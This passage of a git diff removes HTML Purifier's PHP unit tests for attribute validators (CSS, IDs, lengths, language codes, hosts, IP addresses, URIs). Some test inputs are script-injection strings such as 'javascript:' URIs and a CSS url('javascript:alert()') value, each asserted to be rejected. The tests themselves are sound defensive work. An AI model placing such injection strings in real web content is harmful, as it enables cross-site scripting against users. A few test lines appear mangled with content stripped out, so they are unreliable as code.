$this->assertDef('font-variant:small-caps;font-weight:900;'); - $this->assertDef('float:right;text-align:right;'); - - // selective removal - $this->assertDef('text-transform:capitalize;destroy:it;', - 'text-transform:capitalize;'); - - // inherit works for everything - $this->assertDef('text-align:inherit;'); - - // bad props - $this->assertDef('nodice:foobar;', false); - $this->assertDef('position:absolute;', false); - $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); - - // airy input - $this->assertDef(' font-weight : bold; color : #ff0000', - 'font-weight:bold;color:#ff0000;'); - - // case-insensitivity - $this->assertDef('FLOAT:LEFT;', 'float:left;'); - - // !important stripping - $this->assertDef('float:left !important;', 'float:left;'); - - } - - function testProprietary() { - $this->config->set('CSS.Proprietary', true); - - $this->assertDef('scrollbar-arrow-color:#ff0;'); - $this->assertDef('scrollbar-base-color:#ff6347;'); - $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); - $this->assertDef('scrollbar-face-color:#008080;'); - $this->assertDef('scrollbar-highlight-color:#ff69b4;'); - $this->assertDef('scrollbar-shadow-color:#f0f;'); - - $this->assertDef('opacity:.2;'); - $this->assertDef('-moz-opacity:.2;'); - $this->assertDef('-khtml-opacity:.2;'); - $this->assertDef('filter:alpha(opacity=20);'); - - } - - function testImportant() { - $this->config->set('CSS.AllowImportant', true); - $this->assertDef('float:left !important;'); - } - - function testTricky() { - $this->config->set('CSS.AllowTricky', true); - $this->assertDef('display:none;'); - $this->assertDef('visibility:visible;'); - $this->assertDef('overflow:scroll;'); - } - - function testForbidden() { - $this->config->set('CSS.ForbiddenProperties', 'float'); - $this->assertDef('float:left;', false); - $this->assertDef('text-align:right;'); - } - - function testTrusted() { - $this->config->set('CSS.Trusted', true); - $this->assertDef('position:relative;'); - $this->assertDef('left:2px;'); - $this->assertDef('right:100%;'); - $this->assertDef('top:auto;'); - $this->assertDef('z-index:-2;'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php deleted file mode 100644 index 7722c1bc2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php +++ /dev/null @@ -1,37 +0,0 @@ -def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); - $this->assertDef('one'); - $this->assertDef('ONE', 'one'); - } - - function testCaseSensitive() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); - $this->assertDef('one'); - $this->assertDef('ONE', false); - } - - function testFixing() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); - $this->assertDef(' one ', 'one'); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_Enum(); - - $def = $factory->make('foo,bar'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); - $this->assertIdentical($def, $def2); - - $def = $factory->make('s:foo,BAR'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php deleted file mode 100644 index 060d0fc8f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php +++ /dev/null @@ -1,22 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertDef('foo'); - $this->assertDef('', false); - $this->assertDef('bar', 'foo'); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_HTML_Bool(); - $def = $factory->make('foo'); - $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php deleted file mode 100644 index 6effd3cde..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php +++ /dev/null @@ -1,48 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Class(); - } - function testAllowedClasses() { - $this->config->set('Attr.AllowedClasses', array('foo')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - function testForbiddenClasses() { - $this->config->set('Attr.ForbiddenClasses', array('bar')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - function testDefault() { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0stillvalid'); - $this->assertDef('-0'); - - // test conditional replacement - $this->assertDef('validassoc 0valid', 'validassoc 0valid'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - // test duplicate removal - $this->assertDef('valid valid', 'valid'); - } - function testXHTML11Behavior() { - $this->config->set('HTML.Doctype', 'XHTML 1.1'); - $this->assertDef('0invalid', false); - $this->assertDef('valid valid', 'valid'); - } -} diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php deleted file mode 100644 index 8b4a46347..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php +++ /dev/null @@ -1,20 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Color(); - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('43', false); - $this->assertDef('red', '#FF0000'); - $this->assertDef('#FF0000'); - $this->assertDef('#453443'); - $this->assertDef('453443', '#453443'); - $this->assertDef('#345', '#334455'); - $this->assertDef('120', '#112200'); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php deleted file mode 100644 index 7d3e24c75..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - } - - function testNoneAllowed() { - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('_blank', false); - $this->assertDef('baz', false); - } - - function test() { - $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); - $this->assertDef('', false); - $this->assertDef('foo'); - $this->assertDef('_blank'); - $this->assertDef('baz', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php deleted file mode 100644 index 245db16da..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php +++ /dev/null @@ -1,108 +0,0 @@ -context->register('IDAccumulator', $id_accumulator); - $this->config->set('Attr.EnableID', true); - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - } - - function test() { - - // valid ID names - $this->assertDef('alpha'); - $this->assertDef('al_ha'); - $this->assertDef('a0-:.'); - $this->assertDef('a'); - - // invalid ID names - $this->assertDef('assertDef('0123', false); - $this->assertDef('.asa', false); - - // test duplicate detection - $this->assertDef('once'); - $this->assertDef('once', false); - - // valid once whitespace stripped, but needs to be amended - $this->assertDef(' whee ', 'whee'); - - } - - function testPrefix() { - - $this->config->set('Attr.IDPrefix', 'user_'); - - $this->assertDef('alpha', 'user_alpha'); - $this->assertDef('assertDef('once', 'user_once'); - $this->assertDef('once', false); - - // if already prefixed, leave alone - $this->assertDef('user_alas'); - $this->assertDef('user_user_alas'); // how to bypass - - } - - function testTwoPrefixes() { - - $this->config->set('Attr.IDPrefix', 'user_'); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - - $this->assertDef('alpha', 'user_story95_alpha'); - $this->assertDef('assertDef('once', 'user_story95_once'); - $this->assertDef('once', false); - - $this->assertDef('user_story95_alas'); - $this->assertDef('user_alas', 'user_story95_user_alas'); // ! - } - - function testLocalPrefixWithoutMainPrefix() { - // no effect when IDPrefix isn't set - $this->config->set('Attr.IDPrefix', ''); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set'); - $this->assertDef('amherst'); - - } - - // reference functionality is disabled for now - function disabled_testIDReference() { - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); - $this->assertDef('good_id'); // duplicates okay - $this->assertDef('', false); - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - $this->assertDef('good_id'); - $this->assertDef('good_id', false); // duplicate now not okay - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); // reference still okay - - } - - function testRegexp() { - - $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); - - $this->assertDef('good_id'); - $this->assertDef('g_bad_id', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php deleted file mode 100644 index d165e30b5..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php +++ /dev/null @@ -1,32 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Length(); - } - - function test() { - - // pixel check - parent::test(); - - // percent check - $this->assertDef('25%'); - - // Firefox maintains percent, so will we - $this->assertDef('0%'); - - // 0% <= percent <= 100% - $this->assertDef('-15%', '0%'); - $this->assertDef('120%', '100%'); - - // fractional percents, apparently, aren't allowed - $this->assertDef('56.5%', '56%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php deleted file mode 100644 index d90b65b1f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); - $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); - - $this->assertDef('', false); - $this->assertDef('nofollow', true); - $this->assertDef('nofollow foo', true); - $this->assertDef('nofollow bar', 'nofollow'); - $this->assertDef('bar', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php deleted file mode 100644 index eb6f34011..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_MultiLength(); - } - - function test() { - - // length check - parent::test(); - - $this->assertDef('*'); - $this->assertDef('1*', '*'); - $this->assertDef('56*'); - - $this->assertDef('**', false); // plain old bad - - $this->assertDef('5.4*', '5*'); // no decimals - $this->assertDef('-3*', false); // no negatives - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php deleted file mode 100644 index bb64ff6e2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - } - - function testDefault() { - - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0invalid', false); - $this->assertDef('-0', false); - - // test conditional replacement - $this->assertDef('validassoc 0invalid', 'validassoc'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php deleted file mode 100644 index 08f25be64..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php +++ /dev/null @@ -1,45 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - function test() { - - $this->assertDef('1'); - $this->assertDef('0'); - - $this->assertDef('2px', '2'); // rm px suffix - - $this->assertDef('dfs', false); // totally invalid value - - // conceivably we could repair this value, but we won't for now - $this->assertDef('9in', false); - - // test trim - $this->assertDef(' 45 ', '45'); - - // no negatives - $this->assertDef('-2', '0'); - - // remove empty - $this->assertDef('', false); - - // round down - $this->assertDef('4.9', '4'); - - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->def = $factory->make('30'); - $this->assertDef('25'); - $this->assertDef('35', '30'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php deleted file mode 100644 index a941e31ab..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php +++ /dev/null @@ -1,61 +0,0 @@ -def = new HTMLPurifier_AttrDef_Integer(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('-1'); - $this->assertDef('-10'); - $this->assertDef('14'); - $this->assertDef('+24', '24'); - $this->assertDef(' 14 ', '14'); - $this->assertDef('-0', '0'); - - $this->assertDef('-1.4', false); - $this->assertDef('3.4', false); - $this->assertDef('asdf', false); // must not return zero - $this->assertDef('2in', false); // must not return zero - - } - - function assertRange($negative, $zero, $positive) { - $this->assertDef('-100', $negative); - $this->assertDef('-1', $negative); - $this->assertDef('0', $zero); - $this->assertDef('1', $positive); - $this->assertDef('42', $positive); - } - - function testRange() { - - $this->def = new HTMLPurifier_AttrDef_Integer(false); - $this->assertRange(false, true, true); // non-negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false); - $this->assertRange(false, false, true); // positive - - - // fringe cases - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); - $this->assertRange(false, false, false); // allow none - - $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); - $this->assertRange(true, false, false); // negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); - $this->assertRange(false, true, false); // zero - - $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); - $this->assertRange(true, true, false); // non-positive - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php deleted file mode 100644 index c59175556..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php +++ /dev/null @@ -1,85 +0,0 @@ -def = new HTMLPurifier_AttrDef_Lang(); - - // basic good uses - $this->assertDef('en'); - $this->assertDef('en-us'); - - $this->assertDef(' en ', 'en'); // trim - $this->assertDef('EN', 'en'); // case insensitivity - - // (thanks Eugen Pankratz for noticing the typos!) - $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci - - $this->assertDef('fr en', false); // multiple languages - $this->assertDef('%', false); // bad character - - // test overlong language according to syntax - $this->assertDef('thisistoolongsoitgetscut', false); - - // primary subtag rules - // I'm somewhat hesitant to allow x and i as primary language codes, - // because they usually are never used in real life. However, - // theoretically speaking, having them alone is permissable, so - // I'll be lenient. No XML parser is going to complain anyway. - $this->assertDef('x'); - $this->assertDef('i'); - // real world use-cases - $this->assertDef('x-klingon'); - $this->assertDef('i-mingo'); - // because the RFC only defines two and three letter primary codes, - // anything with a length of four or greater is invalid, despite - // the syntax stipulation of 1 to 8 characters. Because the RFC - // specifically states that this reservation is in order to allow - // for future versions to expand, the adoption of a new RFC will - // require these test cases to be rewritten, even if backwards- - // compatibility is largely retained (i.e. this is not forwards - // compatible) - $this->assertDef('four', false); - // for similar reasons, disallow any other one character language - $this->assertDef('f', false); - - // second subtag rules - // one letter subtags prohibited until revision. This is, however, - // less volatile than the restrictions on the primary subtags. - // Also note that this test-case tests fix-behavior: chop - // off subtags until you get a valid language code. - $this->assertDef('en-a', 'en'); - // however, x is a reserved single-letter subtag that is allowed - $this->assertDef('en-x', 'en-x'); - // 2-8 chars are permitted, but have special meaning that cannot - // be checked without maintaining country code lookup tables (for - // two characters) or special registration tables (for all above). - $this->assertDef('en-uk', true); - - // further subtag rules: only syntactic constraints - $this->assertDef('en-us-edison'); - $this->assertDef('en-us-toolonghaha', 'en-us'); - $this->assertDef('en-us-a-silly-long-one'); - - // rfc 3066 stipulates that if a three letter and a two letter code - // are available, the two letter one MUST be used. Without a language - // code lookup table, we cannot implement this functionality. - - // although the HTML protocol, technically speaking, allows you to - // omit language tags, this implicitly means that the parent element's - // language is the one applicable, which, in some cases, is incorrect. - // Thus, we allow und, only slightly defying the RFC's SHOULD NOT - // designation. - $this->assertDef('und'); - - // because attributes only allow one language, mul is allowed, complying - // with the RFC's SHOULD NOT designation. - $this->assertDef('mul'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php deleted file mode 100644 index 21bafe697..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php +++ /dev/null @@ -1,34 +0,0 @@ -with = new HTMLPurifier_AttrDefMock(); - $this->without = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); - } - - function testWith() { - $token = new HTMLPurifier_Token_Start('tag'); - $this->context->register('CurrentToken', $token); - $this->with->expectOnce('validate'); - $this->with->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - - function testWithout() { - $token = new HTMLPurifier_Token_Start('other-tag'); - $this->context->register('CurrentToken', $token); - $this->without->expectOnce('validate'); - $this->without->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php deleted file mode 100644 index 458008aa8..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php +++ /dev/null @@ -1,17 +0,0 @@ -def = new HTMLPurifier_AttrDef_Text(); - - $this->assertDef('This is spiffy text!'); - $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php deleted file mode 100644 index c310347e9..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php +++ /dev/null @@ -1,13 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php deleted file mode 100644 index 594e2ce29..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php +++ /dev/null @@ -1,31 +0,0 @@ -assertDef('bob@example.com'); - $this->assertDef(' bob@example.com ', 'bob@example.com'); - $this->assertDef('bob.thebuilder@example.net'); - $this->assertDef('Bob_the_Builder-the-2nd@example.org'); - $this->assertDef('Bob%20the%20Builder@white-space.test'); - - // extended format, with real name - //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); - //$this->assertDef('Bob Builder '); - - // time to fail - $this->assertDef('bob', false); - $this->assertDef('bob@home@work', false); - $this->assertDef('@example.com', false); - $this->assertDef('bob@', false); - $this->assertDef('', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php deleted file mode 100644 index b5827718b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Host(); - - $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 - $this->assertDef('124.15.6.89'); // IPv4 - $this->assertDef('www.google.com'); // reg-name - - // more domain name tests - $this->assertDef('test.'); - $this->assertDef('sub.test.'); - $this->assertDef('.test', false); - $this->assertDef('ff'); - $this->assertDef('1f', false); - $this->assertDef('-f', false); - $this->assertDef('f1'); - $this->assertDef('f-', false); - $this->assertDef('sub.ff'); - $this->assertDef('sub.1f', false); - $this->assertDef('sub.-f', false); - $this->assertDef('sub.f1'); - $this->assertDef('sub.f-', false); - $this->assertDef('ff.top'); - $this->assertDef('1f.top'); - $this->assertDef('-f.top', false); - $this->assertDef('ff.top'); - $this->assertDef('f1.top'); - $this->assertDef('f-.top', false); - - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", false); - - } - - function testIDNA() { - if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2']) { - return false; - } - $this->config->set('Core.EnableIDNA', true); - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); - $this->assertDef("\xe2\x80\x85.com", false); // rejected - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php deleted file mode 100644 index 0a4eb17ba..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php +++ /dev/null @@ -1,25 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv4(); - - $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable - $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable - $this->assertDef('255.255.255.255'); // standard IPv4 - - $this->assertDef('300.0.0.0', false); // standard IPv4, out of range - $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed - - $this->assertDef('', false); // nothing - - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php deleted file mode 100644 index 083e818aa..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php +++ /dev/null @@ -1,43 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv6(); - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full - $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full - $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full - $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full - $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed - $this->assertDef('FF01::101'); // multicast, compressed - - $this->assertDef('::1'); // loopback, compressed, non-routable - $this->assertDef('::'); // unspecified, compressed, non-routable - $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated - $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full - $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated - $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed - $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix - $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix - $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 - $this->assertDef('::/128'); // compressed, unspecified address type, non-routable - $this->assertDef('::1/128'); // compressed, loopback address type, non-routable - $this->assertDef('FF00::/8'); // compressed, multicast address type - $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable - $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full - $this->assertDef('FF01::101::2', false); //multicast, compressed - $this->assertDef('', false); // nothing - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php deleted file mode 100644 index 3044367a2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php +++ /dev/null @@ -1,146 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI(); - parent::setUp(); - } - - function testIntegration() { - $this->assertDef('http://www.google.com/'); - $this->assertDef('http:', ''); - $this->assertDef('http:/foo', '/foo'); - $this->assertDef('javascript:bad_stuff();', false); - $this->assertDef('ftp://www.example.com/'); - $this->assertDef('news:rec.alt'); - $this->assertDef('nntp://news.example.com/324234'); - $this->assertDef('mailto:bob@example.com'); - } - - function testIntegrationWithPercentEncoder() { - $this->assertDef( - 'http://www.example.com/%56%fc%GJ%5%FC', - 'http://www.example.com/V%FC%25GJ%255%FC' - ); - } - - function testPercentEncoding() { - $this->assertDef( - 'http:colon:mercenary', - 'colon%3Amercenary' - ); - } - - function testPercentEncodingPreserve() { - $this->assertDef( - 'http://www.example.com/abcABC123-_.!~*()\'' - ); - } - - function testEmbeds() { - $this->def = new HTMLPurifier_AttrDef_URI(true); - $this->assertDef('http://sub.example.com/alas?foo=asd'); - $this->assertDef('mailto:foo@example.com', false); - } - - function testConfigMunge() { - $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); - $this->assertDef( - 'http://www.example.com/', - 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' - ); - $this->assertDef('index.html'); - $this->assertDef('javascript:foobar();', false); - } - - function testDefaultSchemeRemovedInBlank() { - $this->assertDef('http:', ''); - } - - function testDefaultSchemeRemovedInRelativeURI() { - $this->assertDef('http:/foo/bar', '/foo/bar'); - } - - function testDefaultSchemeNotRemovedInAbsoluteURI() { - $this->assertDef('http://example.com/foo/bar'); - } - - function testAltSchemeNotRemoved() { - $this->assertDef('mailto:this-looks-like-a-path@example.com'); - } - - function testResolveNullSchemeAmbiguity() { - $this->assertDef('///foo', '/foo'); - } - - function testResolveNullSchemeDoubleAmbiguity() { - $this->config->set('URI.Host', 'example.com'); - $this->assertDef('////foo', '//example.com//foo'); - } - - function testURIDefinitionValidation() { - $parser = new HTMLPurifier_URIParser(); - $uri = $parser->parse('http://example.com'); - $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); - - generate_mock_once('HTMLPurifier_URIDefinition'); - $uri_def = new HTMLPurifier_URIDefinitionMock(); - $uri_def->expectOnce('filter', array($uri, '*', '*')); - $uri_def->setReturnValue('filter', true, array($uri, '*', '*')); - $uri_def->expectOnce('postFilter', array($uri, '*', '*')); - $uri_def->setReturnValue('postFilter', true, array($uri, '*', '*')); - $uri_def->setup = true; - - // Since definitions are no longer passed by reference, we need - // to muck around with the cache to insert our mock. This is - // technically a little bad, since the cache shouldn't change - // behavior, but I don't feel too good about letting users - // overload entire definitions. - generate_mock_once('HTMLPurifier_DefinitionCache'); - $cache_mock = new HTMLPurifier_DefinitionCacheMock(); - $cache_mock->setReturnValue('get', $uri_def); - - generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); - $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); - $old = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); - $factory_mock->setReturnValue('create', $cache_mock); - - $this->assertDef('http://example.com'); - - HTMLPurifier_DefinitionCacheFactory::instance($old); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_URI(); - $def = $factory->make(''); - $def2 = new HTMLPurifier_AttrDef_URI(); - $this->assertIdentical($def, $def2); - - $def = $factory->make('embedded'); - $def2 = new HTMLPurifier_AttrDef_URI(true); - $this->assertIdentical($def, $def2); - } - - /* - function test_validate_configWhitelist() { - - $this->config->set('URI.HostPolicy', 'DenyAll'); - $this->config->set('URI.HostWhitelist', array(null, 'google.com')); - - $this->assertDef('http://example.com/fo/google.com', false); - $this->assertDef('server.txt'); - $this->assertDef('ftp://www.google.com/?t=a'); - $this->assertDef('http://google.com.tricky.spamsite.net', false); - - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php deleted file mode 100644 index b45b0ca53..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php 